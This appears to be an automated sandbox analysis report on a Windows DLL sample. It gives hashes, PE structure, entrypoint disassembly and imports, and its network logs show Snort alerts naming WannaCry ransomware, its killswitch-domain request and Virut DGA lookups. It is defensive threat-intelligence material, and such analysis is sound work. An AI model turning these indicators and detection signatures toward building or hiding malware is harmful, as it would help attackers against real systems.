                  SHA256:9a52b3add7580749d5c6fac089238e11939a8926ae5f9482a61a25ad7182a21f
                  SHA512:be7c7f98b5ac209f43ed1967740ceb058fcdd8f5eb18f89c6c80c33429b5f2fe060f5621f61c61449d565de438ecabf31afb54b871be08c5f4873a65672fa330
                  SSDEEP:49152:nnAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:nDqPoBhz1aRxcSUDk36SA
                  TLSH:BA36F601D2E51AA0DAF25FF7267ADB10833A6E45895BA66E1221500F0C77F1CDDE6F2C
                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

                  File Icon

                  Icon Hash:74f0e4ecccdce0e4

                  Static PE Info

                  General

                  Entrypoint:0x100011e9
                  Entrypoint Section:.text
                  Digitally signed:false
                  Imagebase:0x10000000
                  Subsystem:windows gui
                  Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
                  DLL Characteristics:
                  Time Stamp:0x59145751 [Thu May 11 12:21:37 2017 UTC]
                  TLS Callbacks:
                  CLR (.Net) Version:
                  OS Version Major:4
                  OS Version Minor:0
                  File Version Major:4
                  File Version Minor:0
                  Subsystem Version Major:4
                  Subsystem Version Minor:0
                  Import Hash:2e5708ae5fed0403e8117c645fb23e5b

                  Entrypoint Preview

                  Instruction
                  push ebp
                  mov ebp, esp
                  push ebx
                  mov ebx, dword ptr [ebp+08h]
                  push esi
                  mov esi, dword ptr [ebp+0Ch]
                  push edi
                  mov edi, dword ptr [ebp+10h]
                  test esi, esi
                  jne 00007F91249F0AFBh
                  cmp dword ptr [10003140h], 00000000h
                  jmp 00007F91249F0B18h
                  cmp esi, 01h
                  je 00007F91249F0AF7h
                  cmp esi, 02h
                  jne 00007F91249F0B14h
                  mov eax, dword ptr [10003150h]
                  test eax, eax
                  je 00007F91249F0AFBh
                  push edi
                  push esi
                  push ebx
                  call eax
                  test eax, eax
                  je 00007F91249F0AFEh
                  push edi
                  push esi
                  push ebx
                  call 00007F91249F0A0Ah
                  test eax, eax
                  jne 00007F91249F0AF6h
                  xor eax, eax
                  jmp 00007F91249F0B40h
                  push edi
                  push esi
                  push ebx
                  call 00007F91249F08BCh
                  cmp esi, 01h
                  mov dword ptr [ebp+0Ch], eax
                  jne 00007F91249F0AFEh
                  test eax, eax
                  jne 00007F91249F0B29h
                  push edi
                  push eax
                  push ebx
                  call 00007F91249F09E6h
                  test esi, esi
                  je 00007F91249F0AF7h
                  cmp esi, 03h
                  jne 00007F91249F0B18h
                  push edi
                  push esi
                  push ebx
                  call 00007F91249F09D5h
                  test eax, eax
                  jne 00007F91249F0AF5h
                  and dword ptr [ebp+0Ch], eax
                  cmp dword ptr [ebp+0Ch], 00000000h
                  je 00007F91249F0B03h
                  mov eax, dword ptr [10003150h]
                  test eax, eax
                  je 00007F91249F0AFAh
                  push edi
                  push esi
                  push ebx
                  call eax
                  mov dword ptr [ebp+0Ch], eax
                  mov eax, dword ptr [ebp+0Ch]
                  pop edi
                  pop esi
                  pop ebx
                  pop ebp
                  retn 000Ch
                  jmp dword ptr [10002028h]
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al

                  Rich Headers

                  Programming Language:
                  • [ C ] VS98 (6.0) build 8168
                  • [C++] VS98 (6.0) build 8168
                  • [RES] VS98 (6.0) cvtres build 1720
                  • [LNK] VS98 (6.0) imp/exp build 8168

                  Data Directories

                  NameVirtual AddressVirtual Size Is in Section
                  IMAGE_DIRECTORY_ENTRY_EXPORT0x21900x48.rdata
                  IMAGE_DIRECTORY_ENTRY_IMPORT0x203c0x3c.rdata
                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x500060.rsrc
                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x5050000x5c.reloc
                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_IAT0x20000x3c.rdata
                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                  Sections

                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                  .text0x10000x28c0x1000False0.13037109375data1.4429971244731552IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  .rdata0x20000x1d80x1000False0.072509765625data0.7346018133622799IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                  .data0x30000x1540x1000False0.016845703125data0.085238686413312IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                  .rsrc0x40000x5000600x501000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                  .reloc0x5050000x2ac0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                  Resources

                  NameRVASizeTypeLanguageCountry
                  W0x40600x500000dataEnglishUnited States

                  Imports

                  DLLImport
                  KERNEL32.dllCloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
                  MSVCRT.dllfree, _initterm, malloc, _adjust_fdiv, sprintf

                  Exports

                  NameOrdinalAddress
                  PlayGame10x10001114

                  Possible Origin

                  Language of compilation systemCountry where language is spokenMap
                  EnglishUnited States

                  Network Behavior

                  Snort IDS Alerts

                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                  104.16.173.80192.168.2.580499212031515 07/20/22-08:06:06.235290TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049921104.16.173.80192.168.2.5
                  192.168.2.58.8.8.863565532024291 07/20/22-08:06:06.114118UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16356553192.168.2.58.8.8.8
                  35.205.61.67192.168.2.580499052037771 07/20/22-08:05:59.603960TCP2037771ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst804990535.205.61.67192.168.2.5
                  8.8.8.8192.168.2.553620052811577 07/20/22-08:06:24.875006UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53620058.8.8.8192.168.2.5
                  104.16.173.80192.168.2.580497682031515 07/20/22-08:03:44.679413TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049768104.16.173.80192.168.2.5
                  192.168.2.58.8.8.853757532024291 07/20/22-08:03:44.579415UDP2024291ET TROJAN Possible WannaCry DNS Lookup 15375753192.168.2.58.8.8.8
                  8.8.8.8192.168.2.553558002811577 07/20/22-08:06:47.683012UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53558008.8.8.8192.168.2.5
                  192.168.2.5104.16.173.8049921802024298 07/20/22-08:06:06.199743TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14992180192.168.2.5104.16.173.80
                  8.8.8.8192.168.2.553605252811577 07/20/22-08:07:08.596460UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53605258.8.8.8192.168.2.5
                  192.168.2.5104.16.173.8049768802024298 07/20/22-08:03:44.645949TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14976880192.168.2.5104.16.173.80

                  Network Port Distribution

                  TCP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Jul 20, 2022 08:03:44.628267050 CEST4976880192.168.2.5104.16.173.80
                  Jul 20, 2022 08:03:44.645147085 CEST8049768104.16.173.80192.168.2.5
                  Jul 20, 2022 08:03:44.645287991 CEST4976880192.168.2.5104.16.173.80
                  Jul 20, 2022 08:03:44.645948887 CEST4976880192.168.2.5104.16.173.80
                  Jul 20, 2022 08:03:44.662622929 CEST8049768104.16.173.80192.168.2.5
                  Jul 20, 2022 08:03:44.679413080 CEST8049768104.16.173.80192.168.2.5
                  Jul 20, 2022 08:03:44.679447889 CEST8049768104.16.173.80192.168.2.5
                  Jul 20, 2022 08:03:44.679534912 CEST4976880192.168.2.5104.16.173.80
                  Jul 20, 2022 08:03:44.683268070 CEST4976880192.168.2.5104.16.173.80
                  Jul 20, 2022 08:03:44.699939013 CEST8049768104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.182225943 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.198903084 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.199172020 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.199743032 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.216255903 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.235290051 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.239113092 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.239558935 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.239641905 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.239713907 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.239765882 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.239996910 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.240072966 CEST4992180192.168.2.5104.16.173.80
                  Jul 20, 2022 08:06:06.256505013 CEST8049921104.16.173.80192.168.2.5
                  Jul 20, 2022 08:06:06.256620884 CEST4992180192.168.2.5104.16.173.80

                  UDP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Jul 20, 2022 08:03:44.579415083 CEST5375753192.168.2.58.8.8.8
                  Jul 20, 2022 08:03:44.603741884 CEST53537578.8.8.8192.168.2.5
                  Jul 20, 2022 08:05:55.896640062 CEST53645598.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:06.114118099 CEST6356553192.168.2.58.8.8.8
                  Jul 20, 2022 08:06:06.133693933 CEST53635658.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.669445038 CEST53592028.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.700560093 CEST53583678.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.736232996 CEST53558978.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.845071077 CEST53505278.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.875005960 CEST53620058.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.924586058 CEST53506008.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:24.968327045 CEST53535278.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.078183889 CEST53646948.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.110356092 CEST53521348.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.140701056 CEST53547738.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.171063900 CEST53628318.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.214118958 CEST53561868.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.261941910 CEST53530898.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.290956020 CEST53523188.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.322249889 CEST53504808.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.370059013 CEST53560848.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.404738903 CEST53512898.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.435017109 CEST53588508.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.465264082 CEST53603068.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.509921074 CEST53512258.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.545572042 CEST53541018.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.580595016 CEST53528058.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.623605967 CEST53608778.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.677108049 CEST53630468.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.709201097 CEST53558688.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.770664930 CEST53540418.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.802712917 CEST53625918.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.875869036 CEST53496188.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.924107075 CEST53644408.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:25.988145113 CEST53491748.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.020764112 CEST53534298.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.070420980 CEST53588058.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.121443987 CEST53492088.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.171363115 CEST53552288.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.204087019 CEST53609438.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.243082047 CEST53629648.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.281157970 CEST53556908.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.331634998 CEST53590458.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.367149115 CEST53602588.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.402923107 CEST53608088.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.455389977 CEST53514938.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.502454042 CEST53550268.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.564289093 CEST53612398.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.598925114 CEST53621998.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.635027885 CEST53563708.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.673877001 CEST53601958.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.722166061 CEST53566888.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.752613068 CEST53628008.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.784920931 CEST53514148.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.836941957 CEST53603618.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.884728909 CEST53589368.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.937133074 CEST53508778.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:26.966947079 CEST53500168.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.004677057 CEST53638678.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.043349028 CEST53557528.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.099071980 CEST53523378.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.146744967 CEST53532988.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.258258104 CEST53506378.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.293320894 CEST53527808.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:27.338700056 CEST53597148.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:31.843381882 CEST53513768.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:32.844820023 CEST53513768.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:33.840547085 CEST53513768.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.535690069 CEST53516948.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.571957111 CEST53491638.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.613226891 CEST53502878.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.646972895 CEST53615848.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.683012009 CEST53558008.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.791182995 CEST53526278.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.839001894 CEST53525788.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.873819113 CEST53591798.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.904645920 CEST53588098.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.934360981 CEST53511668.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.969050884 CEST53593798.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:47.998763084 CEST53586428.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:48.048116922 CEST53545088.8.8.8192.168.2.5
                  Jul 20, 2022 08:06:48.079710007 CEST53599638.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.465526104 CEST53587038.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.498552084 CEST53560878.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.531784058 CEST53565228.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.568212986 CEST53518148.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.596460104 CEST53605258.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.644625902 CEST53631378.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.695980072 CEST53630088.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.723741055 CEST53627918.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.754585028 CEST53610488.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.807642937 CEST53499478.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.845551968 CEST53616458.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.880616903 CEST53501078.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.913749933 CEST53639768.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.949820995 CEST53534238.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:08.980379105 CEST53639058.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.010633945 CEST53637348.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.051731110 CEST53599598.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.081841946 CEST53515828.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.127007961 CEST53503898.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.163007975 CEST53513308.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.190206051 CEST53497918.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.217606068 CEST53520608.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.250899076 CEST53515098.8.8.8192.168.2.5
                  Jul 20, 2022 08:07:09.298820019 CEST53552318.8.8.8192.168.2.5

                  ICMP Packets

                  TimestampSource IPDest IPChecksumCodeType
                  Jul 20, 2022 08:06:32.844928026 CEST192.168.2.58.8.8.8cff0(Port unreachable)Destination Unreachable
                  Jul 20, 2022 08:06:33.840697050 CEST192.168.2.58.8.8.8cff0(Port unreachable)Destination Unreachable

                  DNS Queries

                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                  Jul 20, 2022 08:03:44.579415083 CEST192.168.2.58.8.8.80xbb27Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:06.114118099 CEST192.168.2.58.8.8.80x4470Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)

                  DNS Answers

                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                  Jul 20, 2022 08:03:44.603741884 CEST8.8.8.8192.168.2.50xbb27No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                  Jul 20, 2022 08:03:44.603741884 CEST8.8.8.8192.168.2.50xbb27No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                  Jul 20, 2022 08:05:55.896640062 CEST8.8.8.8192.168.2.50x53a7Name error (3)lo.paddo.atnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:06.133693933 CEST8.8.8.8192.168.2.50x4470No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:06.133693933 CEST8.8.8.8192.168.2.50x4470No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.669445038 CEST8.8.8.8192.168.2.50x9c2aName error (3)uehubt.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.700560093 CEST8.8.8.8192.168.2.50x8cf2Name error (3)rexiuz.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.736232996 CEST8.8.8.8192.168.2.50xa6f9Name error (3)rdglac.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.845071077 CEST8.8.8.8192.168.2.50x4e0fName error (3)ljqrqr.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.875005960 CEST8.8.8.8192.168.2.50x9a93Name error (3)ygxynl.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.924586058 CEST8.8.8.8192.168.2.50xe7Name error (3)sikaab.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:24.968327045 CEST8.8.8.8192.168.2.50xb6f8Name error (3)hovimo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.078183889 CEST8.8.8.8192.168.2.50xc4c3Name error (3)kwwqua.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.110356092 CEST8.8.8.8192.168.2.50xa228Name error (3)kvdylc.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.140701056 CEST8.8.8.8192.168.2.50x85f2Name error (3)ikmaix.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.171063900 CEST8.8.8.8192.168.2.50xa897Name error (3)pzouqx.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.214118958 CEST8.8.8.8192.168.2.50x9f9dName error (3)udynpz.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.261941910 CEST8.8.8.8192.168.2.50xcc6eName error (3)xiozyy.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.290956020 CEST8.8.8.8192.168.2.50xab0cName error (3)ddujus.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.322249889 CEST8.8.8.8192.168.2.50x6a4eName error (3)oehzbg.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.370059013 CEST8.8.8.8192.168.2.50x3796Name error (3)tzujel.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.404738903 CEST8.8.8.8192.168.2.50xf92cName error (3)cchwwa.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.435017109 CEST8.8.8.8192.168.2.50x26ceName error (3)xikxpe.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.465264082 CEST8.8.8.8192.168.2.50x79dfName error (3)wshaxz.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.509921074 CEST8.8.8.8192.168.2.50x6ed7Name error (3)irkueo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.545572042 CEST8.8.8.8192.168.2.50x1f6Name error (3)psvvrg.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.580595016 CEST8.8.8.8192.168.2.50x8815Name error (3)duooru.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.623605967 CEST8.8.8.8192.168.2.50x3a08Name error (3)yhkbpy.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.677108049 CEST8.8.8.8192.168.2.50x9c35Name error (3)mpibah.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.709201097 CEST8.8.8.8192.168.2.50x878eName error (3)ijfoiw.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.770664930 CEST8.8.8.8192.168.2.50xd27fName error (3)ejfrzo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.802712917 CEST8.8.8.8192.168.2.50x3d92Name error (3)imjqbu.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.875869036 CEST8.8.8.8192.168.2.50x9aefName error (3)uagooq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.924107075 CEST8.8.8.8192.168.2.50x2ab9Name error (3)dunogu.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:25.988145113 CEST8.8.8.8192.168.2.50x1016Name error (3)uyrnlv.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.020764112 CEST8.8.8.8192.168.2.50x69e3Name error (3)wvtlkx.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.070420980 CEST8.8.8.8192.168.2.50x434aName error (3)pkmyie.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.121443987 CEST8.8.8.8192.168.2.50xfb31Name error (3)qeokve.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.171363115 CEST8.8.8.8192.168.2.50x3f27Name error (3)wudjxm.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.204087019 CEST8.8.8.8192.168.2.50xeb88Name error (3)uyjdfl.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.243082047 CEST8.8.8.8192.168.2.50x5c6eName error (3)tipxna.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.281157970 CEST8.8.8.8192.168.2.50x4025Name error (3)ktygoq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.331634998 CEST8.8.8.8192.168.2.50x510cName error (3)wyisgr.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.367149115 CEST8.8.8.8192.168.2.50x6915Name error (3)yhiuei.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.402923107 CEST8.8.8.8192.168.2.50x6768Name error (3)mypryo.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.455389977 CEST8.8.8.8192.168.2.50x7adName error (3)zlalkd.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.502454042 CEST8.8.8.8192.168.2.50xf975Name error (3)sggsap.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.598925114 CEST8.8.8.8192.168.2.50xf087Name error (3)ynvfhf.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.635027885 CEST8.8.8.8192.168.2.50x327bName error (3)ixrhse.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.673877001 CEST8.8.8.8192.168.2.50xd1d4Name error (3)xilzor.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.722166061 CEST8.8.8.8192.168.2.50x3479Name error (3)jlyubc.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.752613068 CEST8.8.8.8192.168.2.50xe44aName error (3)ifzywp.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.784920931 CEST8.8.8.8192.168.2.50xb796Name error (3)rxiooj.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.836941957 CEST8.8.8.8192.168.2.50xeab2Name error (3)wwnacu.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.884728909 CEST8.8.8.8192.168.2.50x4c00Name error (3)owvekr.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.937133074 CEST8.8.8.8192.168.2.50xe9edName error (3)klkzsq.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:26.966947079 CEST8.8.8.8192.168.2.50xbab0Name error (3)drqijy.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.004677057 CEST8.8.8.8192.168.2.50x4d15Name error (3)omaofj.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.043349028 CEST8.8.8.8192.168.2.50x9d71Name error (3)ohaseg.comnonenoneA (IP address)IN (0x0001)
                  Jul 20, 2022 08:06:27.099071980 CEST8.8.8.8192.168.2.50x96ceName error (3)yusrey.comnonenoneA (IP address)IN (0x0001)
